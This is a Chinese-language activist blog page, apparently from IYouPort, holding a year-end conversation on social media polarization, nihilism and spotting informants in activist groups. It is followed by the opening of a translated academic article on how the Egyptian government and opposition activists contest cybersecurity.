您可以看到，完全真实的消息也会形成某种错误的影响，而与消息本身无关。

企业媒体并不可怕，党派媒体也没有关系，只要读者具备思考能力，能始终捍卫自己的利益、而不是统治阶级的利益，就没有什么能误导您的东西。

𝔘：中国人现在也明白点了。就最近两年吧，一个新词流行起来，你们也许看到了，就是 “骂上热搜”。这里的关键字是 “骂上”。很明显人们已经知道臭名昭著才是做网红的捷径。

victor：哈哈，很像 stone 的口头禅，他说 “在社交媒体上著名是一种耻辱”。

𝔑：社交媒体已经变成了这样一种地方，你不知道谁会是告密者，于是你只能随着大多数人说一些口水话，而不敢触碰实质。

stone：我理解您的担忧。也许这就是为什么我们能在社交媒体上看到的大多数内容都是无价值的口水，而这并不意味着这个社会没有敏锐的眼光和深刻的见地。我始终认为我们不应该因社交媒体舆论而绝望，至少您很难知道那些舆论的真实来源。

民众对当权者唯一的优势就是其自身庞大的基数，这一基数必需能凝聚起来，它才能发挥它应有的作用。于是对于当权者来说，避免它凝聚起来就是保持权力稳固的关键。

我们发布过对当局渗透活动家团体所采取的战术的分析，其中多次提及分化瓦解，它是一个关键战术。该战术会利用各种方法来实践，在互联网上发生时，它会变得更微妙，而不是背地说坏话这么简单。它会创建一个对立的环境，并*同时*加大力度支持观点有冲突的双方。

还记得维稳三步拳法的第一步是什么吗？—— 打散。

在社交媒体上制造极化极其容易，由于超个人主义的盛行，在这里的人们往往都倾向于表现自己、捍卫自己的观点和形象，而不是开启真正的对话—— 对话的关键是倾听对方—— 倾听在这里几乎不存在。当信息战水军同时推动有分歧的双方时，这双方都会直接感受到自己“正在受欢迎”的激动，进而加倍捍卫自己的观点。“受欢迎”意味着，一旦你的观点动摇，将失去支持，哪怕你已经认识到自己错了，也必须坚持，因为从一开始，每个人都被注入了“影响力货币”的价值观。

您所体会的正是“打散”之后的效果。

𝔘：中国人之间首先考虑的是人脉价格（而不是价值），交往如交易。

𝔰𝔱𝔬𝔫𝔢：人们需要的是真正的社区，而不是社交媒体群组，更不是圈子。群组和圈子中只有竞争和互相利用，就如您所言，“交往如交易”。

这不是小事，尤其对于敏感人士来说，（如上图所述）这是安全感的来源。只有安全感才能帮助您维护智慧和敏锐。普通人误判可能是个小挫折，如果敏感人士误判状况，其后果可能就是人身威胁。不仅您个人，还有您的同伴和整个组织。

胜利往往不可能一蹴而就，您所挑战的邪恶越庞大，就越是如此。如果您感到沮丧，那就看看👇下面这样的消息吧，虽然这一点进展时隔7年才出现，但它就是进展，就是“我们”的胜利。

> 没有什么是容易的。没有轻松的获胜。但每一场战斗都可以是非常有意义的。

ℭ：在中国很多人觉得啥啥都得一蹴而就，好像上街一次就能翻天覆地似的，哪那么容易。然后这样想的人就开始鄙视一切不能一蹴而就的想法，拒绝参与。

𝔳𝔦𝔠𝔱𝔬𝔯：John Lewis 去世的时候并没有人说“他为民权运动奋斗了一辈子，结果现在呢，警察依旧在开枪乱杀人”；也没有人说“John Lewis 2003年激动人心的讲话并没有阻止伊拉克战争，他支持的奥巴马只是个等待戈多的骗子 ……”没有，不会有人这样思考问题。但为什么我们会在中国看到用一次性成功的几率去衡量一种抗议运动的可行性呢？

𝔘：虚无在弥漫。这可不是一两年的事了。虚无主义者最擅长泼冷水和拖后腿，因为他们“需要”保持成不了，才能免于他们自己的认知失调。

𝔳𝔦𝔠𝔱𝔬𝔯：好吧，维稳只需要煽动人们的虚无主义心态，人们就能自动实现一无是处了。虚无主义者不仅阻止自己，还主动阻止别人，就像一个免费的维稳机器。

𝔰𝔱𝔬𝔫𝔢：是这样。那么想想看，当权者可以如何煽动社会的虚无心态？

𝔘：开枪。30多年前的枪声至今都有余音。

𝔰𝔱𝔬𝔫𝔢：＋1

ℭ：不信任。内讧、猜忌、挖墙脚、人血馒头……

𝔰𝔱𝔬𝔫𝔢：＋1

𝔑：无能。除了举牌别的什么都不会，举牌又没用。

𝔰𝔱𝔬𝔫𝔢：＋1. 还有吗？

𝔘：水军。雇佣枪手写评论，充斥所有人们能看到的留言板，僵尸网络互相推动，愚弄算法抓取它们，让你看到的满眼都是傻逼小粉红，你就会觉得这个社会没救了。

𝔰𝔱𝔬𝔫𝔢：非常同意！关于89年的屠杀事件，几十年来的大部分时间里，人们的注意力都集中在枪击和死亡上，就如U所说的“余音”。这会让后人陷在悲怆中、尤其是虚无中。

“我们没有枪”。这是多年来IYP听到的最多的感叹，似乎有枪就能解决一切问题？并不是这样。我们分析过为什么非暴力运动更容易推动朝向民主的过渡；以及您面对枪支暴力时该如何自卫、如何幸存下来。

是时候将注意力转移到“如何才能赢”这点上了，毕竟沉浸在过去是无法前进的，而只有继续前进，才能真正对得起死难的人。

简单说，转换思路，学习技巧、科学的组织管理方法、创造性思维方式，以技能和智慧取胜。行动起来，虚无就会消失。

𝔳𝔦𝔠𝔱𝔬𝔯：只有当你不再祈求救世主的时候，救世主就会到来。只有当你

不再去考虑“反抗有什么用”的时候，反抗的价值就呈现出来了。

解放曼德拉（**Nelson Mandela**）的运动经历八年，但是在此之前已有**13**年的基础。这些解放斗争往往需要反抗者终其一生地努力。它们也并不能确保胜利。并没有轻松的胜利，但每一场战斗都可以是非常有意义的。这就是为什么每次微小的胜利都是如此珍贵。

有时，必须一次又一次地赢得同样的战斗。

在每个阶段，反抗者个人和团体都会遭受强大权力的反对。要想胜出，您需要精明的技巧，需要坚定，顽强；坚定不移的激进主义者愿意牺牲传统存在的舒适性以服务于更大的原则。

下面所有这些都是值得庆祝的微小胜利：

当然！您知道，这不是目标！我们仍然没有真正能做到抵抗政府监视，但它们都是通往目标的路，也许只是路上的小石子；但它们应该给人们带来激励，让人们有动力继续走下去。

ℜ ：IYP说过，“绝望是一种傲慢”。

ℜ ：victor 你刚才说的“谁最惨”，为什么说是“物理层面的”？那逻辑层面的是什么？

victor：物理层面指的是人们具体面临的状况，或者准确说是威胁等级，按照规避威胁的难度等级来划分。是的，的确有逻辑层面的比较，在逻辑层面上，“最惨”的人是那些最绝望的人，最先放弃的人，第一个认输的人。

这样的人不论其物理层面所面对的威胁程度如何，他们都无法取得胜利。因为他们已经主动屈服了。不论他们是中国人还是美国人。

ℜ ：我对你们今年提供的反渗透和组织的技巧感兴趣，尤其是反渗透，在中国这是个长期的话题，人心的难测总是最好玩的东西对吧？你们能简单说说这个吗，比如注意什么，那些线人会怎么做？

stone：好吧，简单说下。关于渗透者会怎么做，以及您可以怎么应对。

1、渗透者会用你的语言来对付你。简单说，你支持什么，他们就喊什么，以此在意识形态上与目标受众产生共鸣，但是，他们的足迹却完全违背他们所拥护的原则。这种手段就在外观上为支持者制造了混

乱，因为外界将您与渗透者看作是“同一阵营”、同一场运动。

对此，您需要做的只是观察人们的行为，而不仅仅是他们的言论，您将很清楚看到这点。

2、渗透者会在运动策略上强加干预。他们会将矛盾向组织内部聚焦，比如主张“整肃”，挑起内部纠纷，而不是注意力聚焦到运动本身和组织的目标上 —— 是的，他们致力于拉动您偏离行动目标。

对此，您需要做的只是始终将行动的大方向放在心中最重要的位置上，拒绝一切“跑题”的主张，您就可以自然抵制渗透，不论您是否识别出了渗透者，后者并不重要。不必怀疑，任何组织和运动都有渗透，您需要做的就是让渗透即便存在，也无法搞搞破坏。

3、躲在别人后面。渗透者也会参加前沿活动，从而产生干扰、或破坏行动/群体。但更多的是，他们操纵和挑衅其他人做事，而为他们自己创建一个隔离层。

对此，您需要做的只是观察和识别任何一种建议，如果提建议者自己并不行动，那么您可以谨慎考虑这一建议。别忘了，行动目标始终是解决问题，而不是制造新的问题！

4、不断煽动琐事。流言、背后捅刀子、人格暗杀 …… 渗透者会以各种形式转移人们的注意力，致力于在大群体中分化出更小的阵营。甚至不断分化，以制造和提升不信任。

对此，您需要做的只是强调宗旨 —— 我们是一个团体，是一支队伍，我们不应该让任何一位队友落后和被边缘。唯一能从我们的撕裂和分化中受益的人是我们的对手。

学会协调，通过对话解决矛盾，而不是通过分化扩大矛盾。

5、渗透者会努力成为最靠拢运动中心的“积极人士”，以便使他们对您的抹黑和栽赃更加“真实可信”。

如果您是运动中心、是领导者，对此您需要做的是警惕那些单方面告知您关于其他队友的阴暗面的行为，不要仅仅因为有人打小报告就对涉及其中的队友产生怀疑，您应该亲自去调查、亲自和涉及其中的队友交流。

尤其是，再一次强调，不要仅仅去听人们怎么说，要去看，看人们怎么做；不要追求每一位合作者都是道德完美的，这完全不现实，您需

要掌握的只是 —— 让合作者的行动满足你们的大目标！

如果您是被渗透者抹黑的那个人，请与您的组织领导者交流，依照上述原则判断组织领导者是否称职。

6、渗透者会扩大攻击面。任何与您见过面的人、甚至仅仅是搭过讪的人，都会被奇迹般地联系到一起，用来攻击您的私生活，当您的注意力集中在摧毁庞大的、腐败的权力结构并暴露大规模的不公正时，渗透者所采取的琐碎焦点将完全集中在您个人身上。

渗透者的问题之一是他们所做的很多事都是在幕后的。因此您的追查很难将信息连贯起来。当您拥有可靠的信息表明入侵者正试图破坏组织或抹黑活动家、共享和暴露信息以破坏组织时，警惕这一点非常重要。

请注意，并不是任何一种矛盾都应该怀疑，您必须将人格冲突，个人不满，巧合或观点分歧，与 **有目的的渗透操纵** 区分开！这只有您能做到，因为您了解与您交互的人的特点 —— 如果完全不了解，那就不应该与其交互。

𝔑：我必须说哈，要不是你最后这段话，我就要插话了🤬…… 前面几点中很多东西我是见过的，在中国很常见的那种。

比如1 “他们的足迹却完全违背他们所拥护的原则”，在中国很多人都这样，在网上喊得趾高气昂的，一放下手机就继续帮党国赚钱去了。

还有2，你说的 “跑题” 的主张，简直比比皆是啊，比如给特朗普捐款 …… 特朗普拔根汗毛都比你们的腰更粗好吧，他缺你那点钱？你咋不给阿桑奇捐款打官司呢？特朗普要杀死全世界最好的吹哨平台，要杀死真正的新闻，阿桑奇提供的一切真相完全是免费的，他一点都没盈利，他才是真的需要帮助的那个人。

还有4，“流言、背后捅刀子”，简直太多了，很多圈子都是怎么撕了的。原本一个100人的大群，不久后就出现了另一个50人的小群，再然后就是又一个20人的小群，再继续，反着正后分裂出来的极小群不够4、5个人。要是有谁说他自己没在中国遇到过这种状况，那只能说明他压根没混过真圈子。是中国圈子，就都这样。

𝔰𝔱𝔬𝔫𝔢：所以，组织原则很重要，大目标是该原则的根基，您只需要保持围绕这一目标开展活动和策划进程，去除掉此外的一切，您就不会被闲杂所困扰。

如果没有强大的目标，在任何国家都无法组织起来，而不只是中国。

您一定见过互不相识的人们排着长队购买冰激凌的景象，要想组织，您就需要构建一个那样的场面—— 冰激凌是所有人的共同目标，人们真心想要的那个东西，由您来提供；这些人并不需要互相认识，他们的唯一共同点就是，对您提供的冰激凌的需求；而您需要做的工作不仅仅是管理和分配冰激凌，您还需要保持这支队伍遵守基本的秩序和规则—— 不能加塞、不能紧贴在一起、不能打斗、不许偷窥他人的手机屏幕 …… 等等。

我们的确发现在中国，一些组织失败的朋友在这点上存在一些误会。中国是一个人情社会，人们讲究礼尚往来，下意识的认为情感的积累可以促成最好的动员和联合。一定程度上这有道理，比如，情感关系会让人们至少互相尊重、避免无意义的冲突；但是，也正因此，以此组织起来的团队将难以触及真正有价值的辩论，“礼仪” 占据了上风，人们会下意识地绕避任何可能有争议的问题。这将起不到组织本身所期待的作用。

我们在 “整体安全” 系列的第2集中写道：酒肉朋友和患难之交对的区别是什么？当您遭遇威胁时，您会期待与谁并肩作战？如果我们不能彼此照应，结果是什么？…… 在组织中，您也许每时每刻都需要思考这些问题。

𝔘：那怎么判断究竟是队友还是酒肉朋友？

victor：什么是队友的协作。我举个例子。假如一场枪战，你的队友对你喊 “跑到掩体后面去，我掩护你，” 而你跑过去的途中理论上会面临多名枪手的瞄准，换句话说，你能否活下来，取决于你的队友。这时候就需要足够默契的协作能力，这一能力事关生命。

你必须足够信任你的队友，这一信任不仅基于情感，而且基于能力—— 如果你的队友的枪法不够强大，即便他非常想要掩护你，你也不应该信任他。

𝔘：明白了。看起来社交媒体上是没有队友的。这里只有争吵。

中国人就是不会辩论，一说话就是吵架的姿势，每个人读的东西不一样，所有人都觉得自己读到的东西才是真相。

stone：“我们生活在不同的信息世界中，由算法选择，算法的唯一标准是如何最大限度地吸引广告客户的产品，为互联网巨头创造更大的

利润，” 这句话是库克说的 …… 哈。监视资本家从来都知道他们自己在干什么。

对于您说的现象，需要首先问一个问题：“人们为什么阅读”。如今在互联网上阅读的绝大多数人都是同样的理由，即 寻找那些 “说得漂亮的、尤其是能支持我自己的观点和立场的文字”，以此来作为和他人辩论时的能量来源。

我并不是说这样做不好，民主讨论中大家都在采取旁征博引以提高自己的声音；这些探讨是为了通过差异碰撞而寻求一个大多数人都能满意的答案。但在互联网上，这种习惯将意味着那些试图传授做法而非辩词的内容被冷落。

不论如何，我们始终认为做法而非说法，更重要；IYP 并非不擅长论述，如果我们想要获得吸睛度，我们完全可以采取一些曾经对我约稿的网络平台编辑所建议的那样：“找到争议性最大的热点，参与进去，和名人吵架”。我没有接受过这样的约稿，因为很多年前在我还是个互联网孩子的时候，我做过那样的事，现在我不会继续那样做了，我看到了所有人都在这样做之后的结果，那就是现在您看到的样子—— 只有口水和吵闹却没有解决方案的舆论市场。

再一次，我们需要一个坚实的光辉的前进目标，而不是试验箱里的小白鼠那样，为了每次一小块的面包屑拼命地按动按钮。

𝔘：我已经厌倦互联网很久了，尤其是社交媒体；如果没记错的话你们从几年前就开始批判社交媒体的问题，当时读过，但直到最近才真的理解里面说的东西。才感到厌倦。

我不是混粉丝量为了直播带货的那种人，也不是卖课的砖家，对拉人脉攀高枝也没兴趣，互联网对我来说顶多是个替代短信和电话的工具，然后闲着的时候看一眼有趣的新闻，跟熟人唠几句，而已。

我觉得我这种人不少，在现实中没什么朋友，在网上跟别人凑点热闹。在我知道的人里面，互联网用户分为两种，一种是拿它赚钱的，一种是拿它解闷的，我自己应该属于后者。所以我一直不觉得互联网动员、传播知识什么的，能有啥用，大多数人一关机就继续过自己的日子去了，没多少人会记得网上的东西。

𝔰𝔱𝔬𝔫𝔢：一般情况下人们总是喜欢通过观察那些互联网上的异议去理解未来 “行还是不行”。这可能非常局限。我们接触过一些中国年轻的朋友，他们都有清晰的理解能力，他们不是读新闻而是读解密文件长大

的，他们已经不屑于在社交媒体上吵架，至少在人们分析 “行不行” 的问题上，他们从来没有被包含进去。

victor：我觉得U说的有道理，的确有可能多数人都是如此；但还有一种 IYP 这样的人，我们正在致力于成为 “第3种”，即 挖掘者。也许我们不会赚钱，也不会用搞笑和刺激去获得消遣，但我们会确保自己每次连线都能挖到至少一两块砖瓦，逐渐地，将它们拼凑起来，就是一座堡垒。咱们自己的堡垒。

每个人对 “价值” 这个词的理解都是不同的，您需要做的只是，让您的联网费用花得物有所值。

在我看来，事实上，我觉得很多中国朋友是敏锐的。比如中文网络上 “吃瓜” 这个词已经流行了很久，这个词凸显了被宣传所蒙蔽、被审查所压制、被算法专制所操纵、对毫无意义的吐槽围观和束手无策的质疑；简单说，人们看到了问题。唯一缺少的一步就是，对解决方案的思考。

就如 —— “我们愿意继续这样下去吗？不！那么我们能对此做些什么？” 这就是以公民的身份思考，这样的思路才能调动直接行动。

stone：我们将公民捍卫真相的技巧栏目取名为 “不再吃瓜”，正是这个意思。

IYP用专题取名的方法来反驳一些常见的误区。比如 “算法暴政”，当您怀疑选举被操纵时、当您发现自己的推文或 Facebook 帖子无人关注时、当搜不到想要的内容却在首页遭遇到类似魏则西的状况时 …… 您应该知道，所有这些都属于同一个根源性问题。

如果人们仅仅埋冤百度或者 **Facebook**，是无法解决问题的，反而给了这些公司继续蒙骗您的机会 —— 他们已经非常擅长道歉，并且随时准备好几十亿美元放在那里等着罚款。然后继续他们的恶劣的做法。批评和金钱惩罚都不足以改变这些糟糕现状。

当这些权势用改革或整改的承诺忽悠您时，您应该知道该如何最有效地揭穿他们的虚伪，并提出正确的要求。

victor：互联网上的人们倾向于模仿那些 “转发量最高” 的博主和内容的表达方式—— 即 令权势满意的所谓 “主流/正统”。如果有足够多的人持有这种思考方式，而不是就此反抗审查制度，其结果是我们将看到 twitter 那种影子禁令带来的是主动的服从。

“互联网为什么如此无聊令人厌倦？” 这个问题本身就可以作为一个直接行动的起点。

ℜ ：stone，你想对中国人说点什么？关于这一年，或者更长时间内。

𝔰𝔱𝔬𝔫𝔢：好吧，我来结束今年的最后一天:)

1、累了就去休息；但我们没有时间退缩 **No Time To Die** —— 革命和绝望是一对老恋人，无法呆在一起，却又难以分开。试图捣毁那些坚实的墙壁并不容易，任何一双手都会因此留下伤痕。如果你跌倒了，那就好好哭一场，只需要相信在下一次时机出现时自己能再次站起来。

生的反义词不是死，而是习以为常；当不再有任何全新的东西进入生命时，它就终结了。如果您不想死去，那就要努力不断地挑战未知领域。

希望您能保持生命力，我的朋友。

2、没有什么是容易的，顽强的意志与智慧和创造力一样，永远都是关键 —— 那些世界上最强大的巨人正在碾压我们，而我们的唯一优势仅仅在于，我们比他们的人数更多。这就是为什么富豪和政府倾注大量财富和人力通过大众媒体宣传试图操纵我们每个人的思维和行动的原因。

这并不是说您不能打败那个巨大的统治机器，而是，您不能使用这个机器提供的工具来打败机器！

第一步是让人们停止对在路灯下找钥匙的那种荒唐的解决方案的信仰。作为反抗者，您需要唤醒人们一个现实，那就是—— 这个世界并没有按照您在学校里学到的方式运作。

引述美国反抗者话：“我们无法通过投票来推动变革。我们必须亲手建造它。” 这句话放在中国就是，您无法通过上访和维权、或者吐槽和转发来推动变革，所以您应该知道该怎么办。

您只需要停止将能量倾倒在低效和无效的方向上，去铸就属于您的真正的利剑，记住在最合适的温度下开始捶打。

3、反叙事就是你的武器 —— 对叙事的控制是强权唯一的护身符，如果你能剥离这个护身符，强权就会腐烂瓦解。

如果你碰巧生活在一个对积极思考和否定深感恐惧的文化中，批判是世界上最难的事。普通的抱怨是被允许的，它甚至在一定程度上已经成为一种美德，你能看社交网络上的“嘴炮”异议如何赢得了最多的追随；但是，如果你是批判者，就必须与一种共识文化相抗衡，这种共识文化可以将价值观冲突直接减少到“个人态度”问题上。

这绝不是容易的，但这是撕下强权护身符的第一步。它必须是第一步。我知道，人们很冷，人们想要点火取暖，抱怨就是一种擦火取暖的行为。但是，您如何在倾盆大雨的情况下把火堆点燃？那是不可能的对吧？叙事矩阵就是倾盆大雨，是每个人头顶上的浓厚的阴云，只有你能做到推开它的时候，其余的一切才有可能。

针对宣传机器的分散式游击精神是解决此问题的最佳方法。游击就是它字面上的意思，即 不断地以不同的方式攻击不同的战线，不要在相同的攻击线上停留过长的时间。如果你的对手在一个区域建立起了特别坚固的装甲，您可以将其放在一边，然后将他们的谎言暴露在完全不同的战线上。

叙事操纵者只会不断撒谎，因此您永远不会缺少靶子。

victor ：stone 和我都是读 The Baffler 长大的人，这份杂志曾经带给我们很多印象深刻的灵感，也是为什么我们从来不会觉得“美国变了”，或者“特朗普导致了什么”，我们不那样认为，因为我们看到了这一根深蒂固的“沼泽”，它已经淤积了太多年。

The Baffler 诞生于1988年，在美国思想和文化遭遇的非创造性破坏开始发生时，它就在现场，它知道，除了反抗我们别无选择。

The Baffler 希望为那些感觉到已经准备好了的人们砸开一个替代空间，不过，不要指望行军令会从这几页纸之间掉下来，那些是您必须自己去想的东西。

如果您想要体验一下，IYP 会上传两部合集给您，免费下载在这里：https://www.patreon.com/posts/da-po-matrix-de-44650085

stone：感谢中国朋友们和 victor 参与我们2020的年终对话。持续希望 IYP 的内容能够给您带来真正的帮助，我们会继续努力！2021 再见:)

原文

LR 操纵不确定性：”网络安全” 的政治 - iyouport

长读

【2021年6月4日存档】不确定性作为驱动力在抗争政治中的作用

网络安全被普通定义为防止和减少对数字设备和网络的恶意干扰，是数字化政治的一个关键竞争领域，特别是在不确定和动荡的情况下。

自2011年1月革命以来，政府几经更迭，行政权力不断巩固，对言论自由的限制越来越严苛，国家对抗议者和持不同政见者实施了广泛的暴力，这一点在埃及等国家得到了最鲜明的体现。

那么，在不确定的政治环境中，网络安全政策、实践和技术是如何部署和争夺的呢？

文章认为，网络安全为埃及政府和反对派活动家提供了一种 “操纵不确定性” 的方式，双方都在采用这种方法使自身受益 —— 每一方都利用网络安全政策、实践和技术来限制对手的行动范围，在保留或增加自己行动自由的同时，寻求让对方更加可预测。

除了提供埃及网络安全发展的大量经验数据外，文章还做出了两个理论贡献：首先，它表明了国家和反对派抵抗运动之间的政治斗争如何吸收了网络安全领域有影响力的论述和内容，产生了独特的网络安全政治；第二，文章强调了不确定性作为驱动力在抗争政治中的作用，包括那些以网络安全为中心的政治中，创新和反应的循环。

简介

「图」

个人、组织和国家都在寻求保护自己、他们的通信、和他们的数据免受各种在线威胁，包括欺诈、数据泄露、在线服务中断、以及公司和

国家的监视。网络安全被定义为防止和缓解对数字设备和网络的恶意干扰，它是被高度政治化的，是数字化政治的一个重要争夺领域，尤其是在不确定和动荡的情况下。

这一点最鲜明的体现莫过于埃及这样的国家，自2011年1月革命以来，埃及政府几经更迭，行政权力随之巩固，对言论自由的限制也越来越严苛，国家对抗议者和持不同政见者实施了大量的暴力。现任埃及政府在总统阿卜杜勒·法塔赫·塞西的领导下，出台并扩大了关于所谓的恐怖主义、媒体管制和网络犯罪的法律，建立了专门的国家和地区网络安全机构，并投资和试验了数字监控的各种新技术和新工艺。

政治活动家和抗议者也因此改变了战术，通过在各种平台之间流动，尝试不同的组织、动员和沟通手段，来对抗政府的压力。

因此，本文借埃及的事件提出这样的问题：在不确定的政治环境中，网络安全政策、实践和技术是如何部署和争夺的？

文章认为，网络安全是埃及政府和反对派活动家“操纵不确定性”的一种方式，以对自己有利。双方*都*在利用网络安全政策、做法和技术来限制对手的行动范围，力求使对方更可预测，同时保留或增加自己的行动自由。

📌 换句话说，政府和反抗者双方都利用网络安全使对方对自己的行动不确定，同时增加自己对对方行动的确定性。这种对不确定性的操纵围绕着信息的获取和保密、监视/反监视、审查/反审查的技术和工艺，以及更广泛的通信法律和政策。

在这些操纵过程中，“网络安全”是一个可塑性很强的术语；不一定是指任何特定的基础设施或实践，而是在整个更广泛的数字政治领域进行战略性地部署。

这一论点建立在关于数字媒体在抗争政治和社会运动中的作用的广泛学术研究基础之上，也建立在将国家和社会理解为信息系统的网络安全和政治学的最新著作基础上，下文将详细介绍。

本文确定并填补了一些相关文献之间的空白，这些空白包括：从抗争政治方面看，对网络安全的独特作用及其与政治不确定性之间的关系相对缺乏的关注；从网络安全方面看，对网络安全政策和做法在特定的体制和政治背景及斗争中的融合问题所缺乏的关注。

上图中这本书在这里下载：《模糊的法律，被滥用以判罪反抗者》

这篇文章的结构分为五部分。

前两节提供理论框架。第一节将本文置于关于民主和专制政治的更广泛的学术研究中，确定了政治行为者可用的一系列操纵不确定性的战略；第二节从对不同战略的静态探讨转向对其动态的考察，借鉴抗争政治的相关文献来详细说明这些战略如何相互作用。

第三节详细介绍了实证数据收集的方法，第四节探讨了网络安全在埃及政治中的出现，借鉴了法律、政策、英文和阿拉伯语的媒体报道，以及作者对当地网络安全活动家和专家的采访、以及对事件的第一手经验。

第五节从这一综述中总结出理论经验，强调在数字时代通过“网络安全”操纵不确定性的方法。

专制主义、不确定性和网络安全

「图」

2011年各种各样的“阿拉伯之春”抗议和革命经常被作为互联网政治变革力量的典范来传说，尽管学者们对新的通信技术在多大程度上促成和塑造了这些事件得出了完全不同的结论。

在“阿拉伯之春”未能达到民主化的预期之后，分析已经从强调所谓的社交媒体“解放技术”的组织和动员潜力，转向了探讨其被共同利用和被利用来进行镇压的方式；用 **Gunitsky** 令人难忘的描述来说就是“败坏网络公共资源”。

最近在苏丹、阿尔及利亚、伊拉克和黎巴嫩都发生的大规模反抗动员，再次提升了“阿拉伯之春”框架的显著性，并使社交媒体和政治行动的积极表现得以复活。

在这种不断变化的背景下，我们试图在天真与荒诞之间游走，仔细关注政治动态如何以复杂的方式塑造和被数字媒体塑造。

跨越数字设备的通信无处不在，意味着对互联网的控制是国家权力和国际政治越来越关键的一个方面。Farrell 和 Schneier 的研究将信息政治在互联网时代的中心地位进一步提升，将国家从根本上解读为信息系统。他们指出，经典的民主/专制的区别可以理解为信息传播的不同：在民主国家，信息的传播范围更广，质量更高（可信、可靠）；而在专制国家，可靠的信息很少，其传播受到严格控制。

这一概念将信息流通 —— 因而也是不确定性 —— 置于政治的核心位置，呼应了早期关注民主转型中不确定性的著作。

在 Bunce 的总结中，在民主国家中，政治过程是确定的，而结果是不确定的，而在专制国家中，政治过程可能是不确定的，但结果是确定的。

当然，这是一种简化，因为政治过程和结果一样，都是竞赛的一部分；正如 Schedle 所解释的那样，政治行为者同时对游戏的地点、游戏的规则和元规则、以及比分都是不确定的。但是，即使作为一个程度问题，一般的观点也是成立的：在更民主的国家，关于过程的确定性更高，而在更专制的国家，关于结果的确定性更高。

📌 然而，政治行为者并不仅仅是围绕着不确定性来判定行动方向的，而是操纵不确定性来实现战略目标。

正如 Lynch 等人在对2011年后埃及网络政治集群的研究中指出的，政治精英可以战略性地促进或减少不确定性，反对派团体也可以。对不确定性的操纵清楚地出现在这些描述中：虽然威胁可以通过夸大其潜在的损害而被放大，但它也可以通过使其不确定而被放大，通过迫在眉睫和“未知的未知”的论述而显得随时可能发生。因此，不确定性不仅是世界或特定政治制度的一个特征（信息真实的可能性有多大，某种行动导致特定后果的可能性就有多大），而且也是一个人为了政治利益可以对其进行控制的东西。

更具体地说，我们可以区分当权者和寻求变革者的主观不确定性。虽然在混合制或威权制下，现任者极有可能在整个关键的政治关头（公投、抗议、宪政变革、议会选举等）继续执政，但对于执政者来说，总是存在一些不确定性 —— 主观上远比表面上看起来的不确定性要大得多 —— 因此他们通常会寻求过度确定自己对权力的持续把握。

相反，反对派活动家则继续寻求变革，即使变革显然是不可思议的；事实上，许多社会运动的故事，包括埃及2011年1月的革命，都是没有人完全相信变革会发生，直到它真的发生了，并仍然在继续。简而言之，活动家们尽管感到恐惧，但往往拥有希望和信念，而且违背了概率的平衡。

我们可以把这些主观上的不确定性分别概括为偏执和乐观，它们各自偏离了“客观”的准信息系统不确定性的观点，彼此方向相反。使问题复杂化的是二阶信念问题：活动家认为独裁者偏执，而独裁者认为活动家过分乐观，这些对对手的信念又反馈到他们各自对不确定性的

主观判断中。

因此，对不确定性的操纵可以针对特定的行动者或群体，而不是一般的人群。综合上述关于操纵和主观不确定性的两种见解，表明无论是现任政治精英还是反对派，都试图减少自己的主观不确定性，而不是围绕政治事件本身的不确定性，同时增加对手的不确定性。

此外，主观不确定性不仅可以增加或减少，还可以被管理或利用。关于风险作为一种社会组织原则的学术研究认为，在政治和其他地方，行为者从根本上不仅关注计算风险，而且关注接受高度不确定性的风险管理战略，并寻求在高度不确定的环境中实现战略目标。

这些见解加在一起，使我们能够确定六种操纵不确定性的行为者战略，如表1所概述，并在以下各段中加以阐述。

左边一栏中的前三种战略旨在最大限度地减少或管理行为人本身（无论是现任政治精英还是政治反对派）的主观不确定性，具体如下。

首先，收集数据以更好地预测事件，是将不确定性最小化的最直观方式。然而，正如风险学者所表明的那样，预测行为与做出准确预测的能力之间存在着重要的区别，一个所谓的预测仪器并不一定需要被证明是准确的，才能最大限度地减少主观而非客观的不确定性。

最小化不确定性的第二种方法是总体上限制行动的空间。如果认为行动的可能性较少，那么即使没有更大的预测能力，主观不确定性也会降低。正如国际关系中关于威慑和强制的文献所表明的那样，政府经常部署各种各样的战术，试图为自己和他人缩小对抗性互动的决策空间。

本栏中的第三种战略通过创建多个重叠系统来管理而不是最小化行为者的主观不确定性。关于风险和复原力的学术研究将冗余作为风险管理的核心实践，虽然这里同样是冗余感，而不是在任何情况下都能真正发挥作用的能力，但它可以控制行动者的主观不确定性。

右栏中的后三种战略则是寻求最大限度地提高或利用对手的主观不确定性。

首先，在收集数据以最小化不确定性的反面，行动者可以通过保密、限制对手获取相关信息，从而最大限度地提高对手的不确定性。保密对政治行动的重要性在一系列学科中都得到了认可，在国际政治中的决定性欺骗事例中，保密增加对手不确定性的效果也得到了强调。

最大限度地增加对手的不确定性的第二种战略是采取不规则或不可预测的行动，扩大行动空间而不是限制行动空间。同样，出其不意和不可预测性是一种长期以来被认为在常规冲突和非对称冲突中都至关重要的战术，在国内政治斗争中也能得到有益的运用。一些评论家甚至认为，采取一般不可预测性的元战略 —— 换句话说，缺乏战略 —— 与在特定情况下寻求不可预测性一样有效。

第三种也是最后一种战略是通过模糊不清的沟通方式来利用而不是最大限度地提高不确定性，这与关于“战略模糊性”的国际关系文献相一致。

这六种战略是政治行为者可以利用不确定性为自己谋取利益的方式。在概述这六种战略时，我们并不是说它们是一份详尽的清单，而只是在若干理论文献中出现的最有可能操纵不确定性的方法。应该强调的是，还有许多政治行为的原因、战略和手段并不以操纵不确定性为唯一或部分目的，本文不可能对所有这些战术进行回顾。

那么网络安全在这种政治行为者为自己的目的操纵不确定性的描述中处于什么位置？

网络安全作为一个安全问题，从根本上讲是与不确定性密切相关的。许多网络安全的方法都是以降低风险为基础的，因为数字网络的各种风险是通过预防、监管、保险和补偿等技术机制来识别和管理的。然而，网络安全的适当内容和范围也存在很大的不确定性。

网络安全领域已经从狭隘的、主要是技术性的信息安全概念发展成为一个高度政治化的、范围广泛的术语。它包括国家和商业间谍活动、跨越“战争行为”门槛的网络攻击、隐私和数据收集、虚假信息和外国对国内政治的干预，以及网络犯罪，既包括技术上的欺诈或所谓的“计算机滥用”，也包括基于内容的对政治或社会边界的侵犯。

因此，正如我们在以前的环境中所论述的那样，网络安全是一个可塑性很强的术语，有多种解释和一系列广泛的含义。在定义网络安全时，一个关键的矛盾在于，网络安全是否只涉及对网络的技术入侵、保护数据的保密性、完整性和可用性等技术特性，还是也涉及对通过这些网络移动的内容的管理和控制：简而言之，它是保护媒介还是保护信息？。

